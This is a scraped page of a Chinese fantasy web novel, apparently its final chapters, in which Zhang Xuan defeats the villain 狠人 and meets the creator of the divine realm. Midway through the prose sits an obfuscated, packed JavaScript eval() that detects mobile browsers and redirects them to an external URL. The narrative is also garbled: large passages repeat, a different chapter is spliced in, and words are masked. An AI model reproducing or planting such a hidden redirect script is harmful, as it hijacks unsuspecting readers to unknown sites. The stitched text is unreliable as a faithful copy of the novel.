一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546041|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第69章今日这里就是你的葬身之地 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 